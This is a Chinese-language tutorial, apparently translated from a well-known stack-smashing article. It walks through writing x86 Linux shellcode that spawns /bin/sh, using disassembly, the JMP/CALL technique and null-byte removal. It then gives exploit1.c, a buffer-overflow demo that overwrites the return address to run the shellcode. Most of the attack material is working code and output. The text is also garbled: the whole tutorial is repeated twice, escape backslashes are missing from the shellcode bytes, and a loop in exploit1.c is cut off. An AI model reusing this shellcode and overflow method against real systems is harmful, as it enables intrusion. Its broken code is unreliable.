Shell Code 的编写
下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc <__execve>
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
下面我们来首先来分析一下main代码中每条语句的作用:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:
char *name[2];
也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :
name[0] = "/bin/sh";
0x800013d : movl $0x0,0xfffffffc(%ebp)
将NULL放入name[1]的内存单元中, 也就是相当于:
name[1] = NULL;
对execve()的调用从下面开始:
0x8000144 : pushl $0x0
开始将参数以逆序压入堆栈, 第一个是NULL.
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
将name[]的起始地址压入堆栈
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
将字符串"/bin/sh"的地址压入堆栈
0x800014e : call 0x80002bc <__execve>
调用execve() . call 指令首先将 EIP 压入堆栈
------------------------------------------------------------------------------------
现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.
我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的.
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
同样的入口处理
0x80002c0 <__execve+4>: movl $0xb,%eax
将0xb(11)赋给eax , 这是execve()在系统中的索引号.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
将字符串"/bin/sh"的地址赋给ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
将name[]的地址赋给ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
将NULL的地址赋给edx
0x80002ce <__execve+18>: int $0x80
产生系统调用,进入核心态运行.
------------------------------------------------------------------------------------
看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:
leal string,string_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0
-------------------------------------------------------------------------------------
但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:
movl string_addr,%ebx
这种需要将绝对地址编码进机器语言的指令根本就没法使用.
解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.
------------------------------------------------------------------------------
经过上面的修改,我们的ShellCode变成了下面的样子:
jmp 0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xC(%esi),%edx
int $0x80
call -0x25
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0 # 2 bytes,跳转到CALL
# 1 byte, 弹出string地址
# 4 bytes,将string变为以''结尾的字符串
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes,跳转到popl %esi
------------------------------------------------------------------------------------
我们知道C语言中的字符串以''结尾,strcpy等函数遇到''就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有''. 下面我们就对它作最后一次改进,去掉其中的'':
原指令: 替换为:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
movl $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x18 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
call -0x2d # 5 bytes
.string "/bin/sh" # 8 bytes
");
}
------------------------------------------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh
现在我们可以写我们的试验程序了:
------------------------------------------------------------------------------
exploit1.c:
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";
char large_string[128];
void main()
{
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;
for(i=0;i
strcpy(buffer,large_string);
}
-------------------------------------------------------------------------------------
在上面的程序中,我们首先用 buffer 的地址填充large_string[]并将ShellCode放在large_string[]的起始位置,从而保证在BufferOverflow时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell.
现在我们编译运行一下这个程序:
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.
但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用.
下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc <__execve>
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
下面我们来首先来分析一下main代码中每条语句的作用:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:
char *name[2];
也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :
name[0] = "/bin/sh";
0x800013d : movl $0x0,0xfffffffc(%ebp)
将NULL放入name[1]的内存单元中, 也就是相当于:
name[1] = NULL;
对execve()的调用从下面开始:
0x8000144 : pushl $0x0
开始将参数以逆序压入堆栈, 第一个是NULL.
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
将name[]的起始地址压入堆栈
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
将字符串"/bin/sh"的地址压入堆栈
0x800014e : call 0x80002bc <__execve>
调用execve() . call 指令首先将 EIP 压入堆栈
------------------------------------------------------------------------------------
现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.
我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的.
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
同样的入口处理
0x80002c0 <__execve+4>: movl $0xb,%eax
将0xb(11)赋给eax , 这是execve()在系统中的索引号.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
将字符串"/bin/sh"的地址赋给ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
将name[]的地址赋给ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
将NULL的地址赋给edx
0x80002ce <__execve+18>: int $0x80
产生系统调用,进入核心态运行.
------------------------------------------------------------------------------------
看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:
leal string,string_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0
-------------------------------------------------------------------------------------
但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:
movl string_addr,%ebx
这种需要将绝对地址编码进机器语言的指令根本就没法使用.
解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.
------------------------------------------------------------------------------
经过上面的修改,我们的ShellCode变成了下面的样子:
jmp 0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xC(%esi),%edx
int $0x80
call -0x25
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0 # 2 bytes,跳转到CALL
# 1 byte, 弹出string地址
# 4 bytes,将string变为以''结尾的字符串
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes,跳转到popl %esi
------------------------------------------------------------------------------------
我们知道C语言中的字符串以''结尾,strcpy等函数遇到''就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有''. 下面我们就对它作最后一次改进,去掉其中的'':
原指令: 替换为:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
movl $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x18 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
call -0x2d # 5 bytes
.string "/bin/sh" # 8 bytes
");
}
------------------------------------------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh
现在我们可以写我们的试验程序了:
------------------------------------------------------------------------------
exploit1.c:
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";
char large_string[128];
void main()
{
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;
for(i=0;i
strcpy(buffer,large_string);
}
-------------------------------------------------------------------------------------
在上面的程序中,我们首先用 buffer 的地址填充large_string[]并将ShellCode放在large_string[]的起始位置,从而保证在BufferOverflow时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell.
现在我们编译运行一下这个程序:
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.
但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用.